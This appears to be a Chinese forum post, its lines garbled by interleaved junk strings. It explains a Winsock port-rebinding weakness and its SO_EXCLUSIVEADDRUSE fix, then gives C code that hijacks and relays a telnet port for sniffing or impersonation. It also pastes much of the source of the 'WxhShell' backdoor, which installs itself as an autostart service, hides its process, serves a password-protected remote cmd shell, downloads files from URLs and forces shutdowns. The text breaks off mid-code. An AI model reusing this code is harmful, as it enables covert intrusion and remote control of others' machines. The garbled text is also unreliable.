在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Aoa0czC~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Saz+GQ G ]/d2*# saddr.sin_family = AF_INET;
vBM\W%T|d T6phD8# saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Pv0OoN*eJ{ xR1g bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7g&_`( \nxt\KD 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
mX |AptND \uanQ|Nu 这意味着什么?意味着可以进行如下的攻击:
W:EXL@ &+sO"j4<?r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
d,D)>Y'h \LM'KD pP_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#c!(97l6o KCCS7l/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
D=dY4WwG $X\BO& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Ke'bH C2Y&qX, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Wm3H6o* {z.}u5N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
46e;UUf!d j|? bva\ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\sRRLDj% ;#Mq=Fr-SG #include
q5OW1% #include
EG9S?
$ #include
c\;}ov+ #include
C %EQ9Iq6r DWORD WINAPI ClientThread(LPVOID lpParam);
;j/ur\37 int main()
.vT'hu
{
?94da4p WORD wVersionRequested;
9Z+@i:_} DWORD ret;
m9PcDhv WSADATA wsaData;
Js=|r;' BOOL val;
;G},xDGO_m SOCKADDR_IN saddr;
p.l]%\QI SOCKADDR_IN scaddr;
!J:DBtGT int err;
OEAF. SOCKET s;
]j{S' cz SOCKET sc;
5T8!5EcS* int caddsize;
DF&C7+hO HANDLE mt;
*~:@xMa DWORD tid;
;UWdT]>!? wVersionRequested = MAKEWORD( 2, 2 );
nt5 ~"8 err = WSAStartup( wVersionRequested, &wsaData );
BO{J{ if ( err != 0 ) {
L;z-,U$;%R printf("error!WSAStartup failed!\n");
_<3:vyfdC return -1;
N?pD"re)6 }
gE$dz#t. saddr.sin_family = AF_INET;
XhIgzaGVu ^ePSI|EW //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
WVo%'DtF` ZE=~ re saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ipbVQ7 saddr.sin_port = htons(23);
[C d2L&9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U9N}6a= {
%NAz(B printf("error!socket failed!\n");
WQK#&r* return -1;
`__CL
)N| }
K=B[MT#V{2 val = TRUE;
6,c,i;J_ //SO_REUSEADDR选项就是可以实现端口重绑定的
v-Br)lLv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}%jb/@~ {
}_gq vgI>p printf("error!setsockopt failed!\n");
Hh
qx)u return -1;
+ S%+Ku }
+h9CcBd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ak9W8Z} //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
4ErDGYg} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}e@j(*8 M(2[X/t if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h+Z|s {
-6H)GK14b ret=GetLastError();
JdV!m`XpXy printf("error!bind failed!\n");
z2dM*NMK return -1;
pCC0: }
YTGup]d listen(s,2);
cAiIbh>c while(1)
bMv9f
J {
L4[bm[x caddsize = sizeof(scaddr);
=)bZSb"<" //接受连接请求
UPgZj\t%{ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
G A7 if(sc!=INVALID_SOCKET)
VvltVYOZA {
r":<1+07 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
GUcuD^Fe if(mt==NULL)
\Xkx`C {
?`w ~1 printf("Thread Creat Failed!\n");
f|q6<n_nM break;
Dn6DkD! }
gB0)ec 0 }
:#gz)r CloseHandle(mt);
q,*IR*B:a }
v =u|D$ closesocket(s);
C'=C^X% WSACleanup();
;pU LJ}rDb return 0;
O}KT>84M }
Xz5=fj& DWORD WINAPI ClientThread(LPVOID lpParam)
VyI%^S
]sS {
.KB*u*h SOCKET ss = (SOCKET)lpParam;
:zZtZT! SOCKET sc;
e~-Dk .i unsigned char buf[4096];
TIvLY5 HG SOCKADDR_IN saddr;
fO:*85%}7 long num;
zY#U ]Is DWORD val;
^QnVYTM DWORD ret;
+0=RC^ //如果是隐藏端口应用的话,可以在此处加一些判断
*PMql $ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
`b]
NB^/ saddr.sin_family = AF_INET;
oF*Y$OEu?c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
fqr}tvMr=T saddr.sin_port = htons(23);
cw^FOV*
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0<s)xaN>Y {
[t6)M~&e:_ printf("error!socket failed!\n");
wo_FM
`@ return -1;
a;h:o>Do5 }
sF|$oyDE val = 100;
Cn_Mz#Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oS`F Yy {
D{8V^%{ ret = GetLastError();
'@:;oe@] return -1;
<<A@69"4n }
JN8k x;@ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
s0`uSQ2X {
IBuuZ.=j2h ret = GetLastError();
.*zQ\P return -1;
|FcG$[ }
i/$lOde if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U^,ld` {
B"EMir' printf("error!socket connect failed!\n");
`n %~#TJ closesocket(sc);
~M\s!!t3 closesocket(ss);
Ti'O 2k return -1;
ck@[% ? }
oOD|FrlY while(1)
*%fOE;-? {
m83i6"!H //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=_UPZ] //如果是嗅探内容的话,可以再此处进行内容分析和记录
)0%<ZVB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
V3m!dp] num = recv(ss,buf,4096,0);
V~+Unn
if(num>0)
kB8l`|
I send(sc,buf,num,0);
hm5<_(F! else if(num==0)
&=/.$i-w$ break;
$Z(zO;k. num = recv(sc,buf,4096,0);
r*3;gyG.,# if(num>0)
bk7miRIB send(ss,buf,num,0);
91,\y else if(num==0)
x x
'XR'zK break;
gr2zt&Z4 }
iA < EJ closesocket(ss);
eR}d"F4W closesocket(sc);
Ft|a/e return 0 ;
eIEcj<f }
-p)HH@6a NT-du$!u e)iVX<qb ==========================================================
u.arkp OC[a?#R1 下边附上一个代码,,WXhSHELL
HKh)T$IZM gr7W&2x7\ ==========================================================
Y#Z&$&n mDq01fU4 #include "stdafx.h"
tL3(( W" :*8@MjZ4 #include <stdio.h>
xL!05du
#include <string.h>
~k J#IA #include <windows.h>
jt]+(sx #include <winsock2.h>
vw!i)JO8M #include <winsvc.h>
XkNi'GJf #include <urlmon.h>
z* `81 s+CWyW@ #pragma comment (lib, "Ws2_32.lib")
$b8>SSz #pragma comment (lib, "urlmon.lib")
VJNPs6 L,l+1`Jz #define MAX_USER 100 // 最大客户端连接数
;m&f Vp #define BUF_SOCK 200 // sock buffer
Jsw<,uTD #define KEY_BUFF 255 // 输入 buffer
A1Zu^_y' ZWr\v!4 #define REBOOT 0 // 重启
@4Y>)wn&; #define SHUTDOWN 1 // 关机
` n_ Z Y6CadC #define DEF_PORT 5000 // 监听端口
i&l$G55F ZNx{7]=a #define REG_LEN 16 // 注册表键长度
Na`qA j} #define SVC_LEN 80 // NT服务名长度
Kc(_?` c"QI`;D_c // 从dll定义API
MBg^U<t8 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^*0;Z<_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
VVf~ULZ- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g$:2c7uL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\q,w)BE `S.;&%B\ // wxhshell配置信息
qS7*.E~j|] struct WSCFG {
A]n!d}? int ws_port; // 监听端口
#{]=>n)j char ws_passstr[REG_LEN]; // 口令
Vxw?"mhP int ws_autoins; // 安装标记, 1=yes 0=no
*Lufz-[1 char ws_regname[REG_LEN]; // 注册表键名
M35}5+ char ws_svcname[REG_LEN]; // 服务名
6qw_ |A&g char ws_svcdisp[SVC_LEN]; // 服务显示名
[Y:HVr, char ws_svcdesc[SVC_LEN]; // 服务描述信息
--]\z* x char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~#-`Qh int ws_downexe; // 下载执行标记, 1=yes 0=no
"zv+|_ZAfd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
$]hf2Yr( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
))MP]j9
T BY 1~\M };
S#""((U$ CsE|pXVG // default Wxhshell configuration
hMD yE.X- struct WSCFG wscfg={DEF_PORT,
D_8hn3FH "xuhuanlingzhe",
Jv7M[SJ#x 1,
|Rl|Th "Wxhshell",
u!X2ju< "Wxhshell",
mq
"p"iI "WxhShell Service",
A#p@`|H#B "Wrsky Windows CmdShell Service",
1%+0OmV& "Please Input Your Password: ",
Llzowlf e 1,
P"~B2__* "
http://www.wrsky.com/wxhshell.exe",
:b
;5O3:B "Wxhshell.exe"
%k2zsM };
X~R
qv5@- 0!?f9kJq // 消息定义模块
|e\:0O? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
`6M(`*Up char *msg_ws_prompt="\n\r? for help\n\r#>";
F4PD3E_# char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
G{s ,Y^ char *msg_ws_ext="\n\rExit.";
$4?%Z>' char *msg_ws_end="\n\rQuit.";
11)~!in char *msg_ws_boot="\n\rReboot...";
ht =yzJ9Pr char *msg_ws_poff="\n\rShutdown...";
=6 [!'K char *msg_ws_down="\n\rSave to ";
)XNcy" qH(2 0Z! char *msg_ws_err="\n\rErr!";
|l~ADEg char *msg_ws_ok="\n\rOK!";
!O.B, Q/+a{m0f char ExeFile[MAX_PATH];
w"Z>F]YZ int nUser = 0;
Uligr_c? HANDLE handles[MAX_USER];
pu^1s#g8w int OsIsNt;
-ss2X Wd%j;glG SERVICE_STATUS serviceStatus;
h&Sl8$jVp SERVICE_STATUS_HANDLE hServiceStatusHandle;
kz??""G7/ bb<Vh2b>R // 函数声明
T<ua0;7 int Install(void);
y"]> Rr int Uninstall(void);
U%#=d@? int DownloadFile(char *sURL, SOCKET wsh);
(z.Vwl5 int Boot(int flag);
G9gvOEI/ void HideProc(void);
\2LCpN int GetOsVer(void);
1DBzD%@Oz int Wxhshell(SOCKET wsl);
!K@yB)9 void TalkWithClient(void *cs);
^8\pJg_0 int CmdShell(SOCKET sock);
G(4k#jB int StartFromService(void);
`W/6xm(X5; int StartWxhshell(LPSTR lpCmdLine);
w gufk{: y_nh~& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7X.1QSuE VOID WINAPI NTServiceHandler( DWORD fdwControl );
ar{e<&Bny >Te{a*`"m: // 数据结构和表定义
7eO8cPy SERVICE_TABLE_ENTRY DispatchTable[] =
I?:V EN: {
|;].~7^ {wscfg.ws_svcname, NTServiceMain},
iUO5hdOM {NULL, NULL}
aCTVY1 };
cbIW>IbM E>[~"~x"pV // 自我安装
~C[,P\, int Install(void)
_,'UP>Si {
l==T3u
r char svExeFile[MAX_PATH];
IEA[]eik> HKEY key;
h0gT/x strcpy(svExeFile,ExeFile);
Z86[sQBg n1LS*-@ // 如果是win9x系统,修改注册表设为自启动
%GIla* if(!OsIsNt) {
N
Lo>"<Xb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z,2uN!6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(thzWr6; RegCloseKey(key);
`?>OY&( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hIw*dob RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B U)4g[4 RegCloseKey(key);
HgMDw/D( return 0;
VP"L_Um }
7j]@3D9[:p }
{k)MC)% }
cEN^H else {
@GEvI2Vf.0 yWs/~5[F // 如果是NT以上系统,安装为系统服务
z C``G<TB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?LW1D+ if (schSCManager!=0)
57#:GN$EL {
X$xqu\t7 SC_HANDLE schService = CreateService
"47nc1T+n (
8=?I/9Xh schSCManager,
-8TLnl~[ wscfg.ws_svcname,
Di L@NU!$q wscfg.ws_svcdisp,
@tP,l$O& SERVICE_ALL_ACCESS,
Zs4N0N{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
=l\D7s SERVICE_AUTO_START,
+uH1rF_&@ SERVICE_ERROR_NORMAL,
H<>x_}& svExeFile,
ZE1#{u~[y NULL,
2{%BQq>C NULL,
3sL#_@+yz NULL,
~vt8|OOo0 NULL,
h?SUDk:2^ NULL
-@QLE}~k[ );
^WRr "3 if (schService!=0)
qzH97<M}T {
dW=]|t& CloseServiceHandle(schService);
I7}[%(~Sf/ CloseServiceHandle(schSCManager);
&2g1Oy~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
D]0#A|nF strcat(svExeFile,wscfg.ws_svcname);
7_|zMk.J* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
1,/oS&?E RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
)i?wBxq'MA RegCloseKey(key);
TcqqAc return 0;
?iq:Gf }
%@IR7v~ }
c~Ha68 CloseServiceHandle(schSCManager);
X-%*`XG' }
PeG8_X}u9 }
>97V2W 08twcY;&k return 1;
)D@
NX/} }
Y/4B*>kl yNqrL?i // 自我卸载
dtnAMa5$T int Uninstall(void)
@-W)(9kZ| {
Aw5yvQ>]e HKEY key;
[bZXzV( UrtN3icph if(!OsIsNt) {
t#d~gBe?V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x;C\G`9N RegDeleteValue(key,wscfg.ws_regname);
;Z8K3p RegCloseKey(key);
9\dC8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
_[.`QW~ RegDeleteValue(key,wscfg.ws_regname);
eQNYfWR RegCloseKey(key);
}6o` in>M return 0;
%II |;< }
=T+<>/[ }
jbG #__#_ }
~< k'{ else {
8J>s|MZ .<tb*6rX> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
7wZKK0;T if (schSCManager!=0)
6.k2,C4dT< {
f-3lJ?6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}?H |9OS if (schService!=0)
d-c+KV {
l.&6| if(DeleteService(schService)!=0) {
w
5,- +&; CloseServiceHandle(schService);
/Jo*O=Lpo CloseServiceHandle(schSCManager);
|{Oe&j3| return 0;
O8M;q!)y }
D VC}; CloseServiceHandle(schService);
uu'~[SZlL }
n}YRE`>D CloseServiceHandle(schSCManager);
r% qgLP{v }
[]'BrG)! }
Xo'_|-N+ o8Tt|Lxb$8 return 1;
.)Du
; }
&'i>5Y 6)Kg!.n%f // 从指定url下载文件
LB-4/G$ int DownloadFile(char *sURL, SOCKET wsh)
yQ h":"$k {
VJm).>E3k HRESULT hr;
uN'e~X6 char seps[]= "/";
KecR jon ~ char *token;
w8c71C char *file;
<-FAF:6$@@ char myURL[MAX_PATH];
}H\wed]F/ char myFILE[MAX_PATH];
M2{{B^*$6 '
FF@I^O strcpy(myURL,sURL);
REli`"bR token=strtok(myURL,seps);
yd'>Mw while(token!=NULL)
r 1n l! {
[a`89'"z file=token;
>6KuZ_ token=strtok(NULL,seps);
7gNJ}pLDx }
Nxp7/Nn3 }e
s GetCurrentDirectory(MAX_PATH,myFILE);
UXvUU^k"v strcat(myFILE, "\\");
t*iKkV^aE strcat(myFILE, file);
B!4chxzUZ send(wsh,myFILE,strlen(myFILE),0);
;3'ta!.c send(wsh,"...",3,0);
:H@Q`g u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RNiFLD%5 if(hr==S_OK)
wa5wkuS)ld return 0;
.]JGCTB3 else
tDJts OL return 1;
TY"8.vd `O5wM\Z }
[RoOc)u )w4i0Xw^C: // 系统电源模块
>^=upf/ int Boot(int flag)
'pa[z5{k+ {
;p)RMRMg HANDLE hToken;
{Cd Q)| TOKEN_PRIVILEGES tkp;
I6S!-i !{>'jvH if(OsIsNt) {
jJml[iC OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
V:s$V.{! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F0(P2j tkp.PrivilegeCount = 1;
JZ3CC f tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
zmB6Y
t AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
@y]ek/ if(flag==REBOOT) {
VKqIFM1b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
#ue WU return 0;
oR}cE
Sr }
i&= I5$ else {
V"K-aO& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
XYj!nx{k, return 0;
:#7"SEud} }
y(^t &tgjS }
:7>oFz else {
42]hX9E if(flag==REBOOT) {
T+1:[bqK if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
G9 v'a& return 0;
1cq"H/N }
`1
A,sXfa else {
>}?jO B if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
A{NKHn>%` return 0;
4&N#d;ErC }
Pw+PBIGn4 }
amvD5 ut
j7"{'k| return 1;
v]{F.N }
vxE#6 1*U)\vK~ // win9x进程隐藏模块
Jt++3] void HideProc(void)
aW=c.Q. {
W>#[a %R #
RoJD:9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
NVnId p if ( hKernel != NULL )
L!;"73,&(8 {
u:]c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
QQI,$HId ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;*u"hIl1/ FreeLibrary(hKernel);
I-Q@v` }
H2kib4^i z][hlDv\j return;
=M6Ph% }
\rj>T6 d6^:lbj // 获取操作系统版本
eR3v=Q int GetOsVer(void)
|VX )S! {
&u+l`F^Z OSVERSIONINFO winfo;
VdL*"i winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~ECIL7, GetVersionEx(&winfo);
=e)t,YVm if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
pq"Z,9,F% return 1;
Xfc+0$U@ else
Y-?0!a=e. return 0;
|E?PQ?P }
r=Tz++! #Mw 6>5}< // 客户端句柄模块
@vZeye int Wxhshell(SOCKET wsl)
9epMw-)k {
cslZ; SOCKET wsh;
*O|_)G struct sockaddr_in client;
%<)!]8}P* DWORD myID;
4bs<j \E(^<Af while(nUser<MAX_USER)
%1oB!+tv {
u4#YZOiY)A int nSize=sizeof(client);
hv0bs8h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
dzQs7D} if(wsh==INVALID_SOCKET) return 1;
x{O) n !F:ANoaS handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
vX@TZet0 if(handles[nUser]==0)
/S{U|GBB%r closesocket(wsh);
6&
(b L<8b else
%}IrZrh nUser++;
<Hf3AB;#4 }
G{.[o6> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Ct][B{ jj&mRF0gCb return 0;
I A%ZCdA; }
hp c &s {^D; ($lm // 关闭 socket
z+Guu8 void CloseIt(SOCKET wsh)
J`]9n>G {
3+l8VX&u! closesocket(wsh);
AQ&vq$ nUser--;
`# U<'$ ExitThread(0);
"XQ3mi`y }
=Vm3f^ 0u;a*#V @ // 客户端请求句柄
ds9U9t void TalkWithClient(void *cs)
/3#h]5Y"T {
p*j>s\ 0q4PhxR`e SOCKET wsh=(SOCKET)cs;
0q28Ulv9 char pwd[SVC_LEN];
*sQ.y
{ char cmd[KEY_BUFF];
BG6.,'~7o char chr[1];
-5oYGLS$y3 int i,j;
c,^W/:CQAB fig~z=m while (nUser < MAX_USER) {
:7M%/#Fy l 88n*O if(wscfg.ws_passstr) {
p()q)P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m@Dra2Cv'@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o~<jayqU //ZeroMemory(pwd,KEY_BUFF);
D<hX%VJ%M i=0;
TMGYNb%<bX while(i<SVC_LEN) {
xw}rFY$ blLl1Ak // 设置超时
H&8~"h6n fd_set FdRead;
s#'Vasu struct timeval TimeOut;
8BrC@L2E0 FD_ZERO(&FdRead);
Sp6==(:. FD_SET(wsh,&FdRead);
.]H/u
"d TimeOut.tv_sec=8;
<BIQc,)2} TimeOut.tv_usec=0;
W__Y^\~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,)uW`7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
g:O/~L0Xb ^&\pY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
qnHjw Mi pwd
=chr[0]; ]- 6q`'?[
if(chr[0]==0xd || chr[0]==0xa) { .sc80i4
pwd=0; ^W(ue]j}o
break; ,A&`WE
} ,PoG=W
i++; \K9.]PfbI
} fWPa1E@
*s#6e}
// 如果是非法用户,关闭 socket cuC'
o\f
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KWxTN|>
} ?2_h.
n=)LB&
m
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S|xwYaoy%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M@l |n
dDSb1TM
while(1) { }.(DQwC}1k
z;?ztpa@
ZeroMemory(cmd,KEY_BUFF); CDF;cM"td
,{\Ae"{6
// 自动支持客户端 telnet标准 aS[y\9(**
j=0; ck%.D%=
while(j<KEY_BUFF) { +1I7K|M
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Bv V89
cmd[j]=chr[0]; :IU<A G6
if(chr[0]==0xa || chr[0]==0xd) { Z
t4q=
Lr
cmd[j]=0; B uso
`G
break; =E$bZe8
} A9g/At_
j++; 33KCO
} (f^/KB=
~3-"1E>Rgy
// 下载文件 t^Lb}A#$4
if(strstr(cmd,"http://")) { HY eCq9S
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }
xA@3RT
if(DownloadFile(cmd,wsh)) s FJ:09L|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *- ~GVe
else N iu
|M@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N
p*T[J
} vz#-uw,O:
else { .%dGSDru
Lagk
switch(cmd[0]) { ;&gk)w6*
4%zy$,|e
// 帮助 Pwj|]0Y@
case '?': { +)bn}L>Rl
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3.Yg3&"Z
break; d2NFdBoI
} j/Y]3RSMp
// 安装 WVsj
case 'i': { =L@CZ"
if(Install()) j!kJ@l bP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z R'EQ
else }ng?Ar[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T`pDjT
break; `&.qHw)
} ?-%(K^y4r
// 卸载 3UmkFK<
case 'r': { ji>LBbnHdE
if(Uninstall()) pH.&C 5kA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{}P#sn
else JWaWOk(t=?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^C
*%"I]
break;
Qe7=6<
} mR1b.$
// 显示 wxhshell 所在路径 )A%* l9\nG
case 'p': { IiRQ-,t1
char svExeFile[MAX_PATH]; sV-PR]
strcpy(svExeFile,"\n\r"); 63%V_B|
strcat(svExeFile,ExeFile); wsQ],ZE
send(wsh,svExeFile,strlen(svExeFile),0); ,C"6@/:l
break; }:YL'$:5!
} QZG<sZ0"
// 重启 &o7PB`(l
case 'b': { (3$DUvx7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SrB>_0**
if(Boot(REBOOT)) f8SO:ihXL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IY8<^Q']
else { i].E1},%
closesocket(wsh); TmftEw>u
ExitThread(0); z;P#
} F!g1.49""
break; rNJU &
.]
} v0!|TI3s
// 关机 !hM`Oe`S
case 'd': { ;-JF b$m
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !ht2*8$lQ
if(Boot(SHUTDOWN)) Wu<;QY($5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @k)J
i!7
else { P7zUf
closesocket(wsh); 6M`gy|"(~
ExitThread(0); )eT>[['fm
} hu} vYA7ZH
break; :j .:t
} tY]?2u%)
// 获取shell &4 KUXn[F
case 's': { `p9N| V
CmdShell(wsh); V sxI
closesocket(wsh); 'I+M*Iy
ExitThread(0); Nu?A>Q
break; %*!6R:gAp
} n"aF#HR?0d
// 退出 *P9" 1K+
case 'x': { ,wM}h
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |a"]@W$>
CloseIt(wsh); mjg@c|rTG
break;
]UEA"^
} %qo.n v
// 离开 W|Sab$h
case 'q': { Iox )-
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2Sa{=x
N)
closesocket(wsh); `JDZR:bMaT
WSACleanup(); ZiQ<SSo:
exit(1); ZzgzeT+bv
break; {DKZ~
} )-1e}VF(U
} YLTg(*
} T%&vq6
zj]
g^c;
// 提示信息 8<T~AU8'*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %{4U\4d@'
} :<B_V<
} $z*"@
axt;}8
return; LTzdg >\oJ
} @v@F%JCZ
_eq$C=3Ta
// shell模块句柄 #BcUE?K*N
int CmdShell(SOCKET sock) 41d+z>a]
{ <z2.A/L
STARTUPINFO si; 2[3t7 C
ZeroMemory(&si,sizeof(si)); >itabG-&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zI,Qc60B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y DHP-0?
PROCESS_INFORMATION ProcessInfo; 0M&n3s{5I
char cmdline[]="cmd"; 1hCU"|VH:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0iZeU:FE
return 0; ,G46i)E\
} aXq ig&:
w.aEc}@(^
// 自身启动模式 DpA)Vdj
int StartFromService(void) o!~XYEXvUa
{ 4t
}wMOR
typedef struct R31Z(vY
{ Yb<:1?76L
DWORD ExitStatus; {V(~
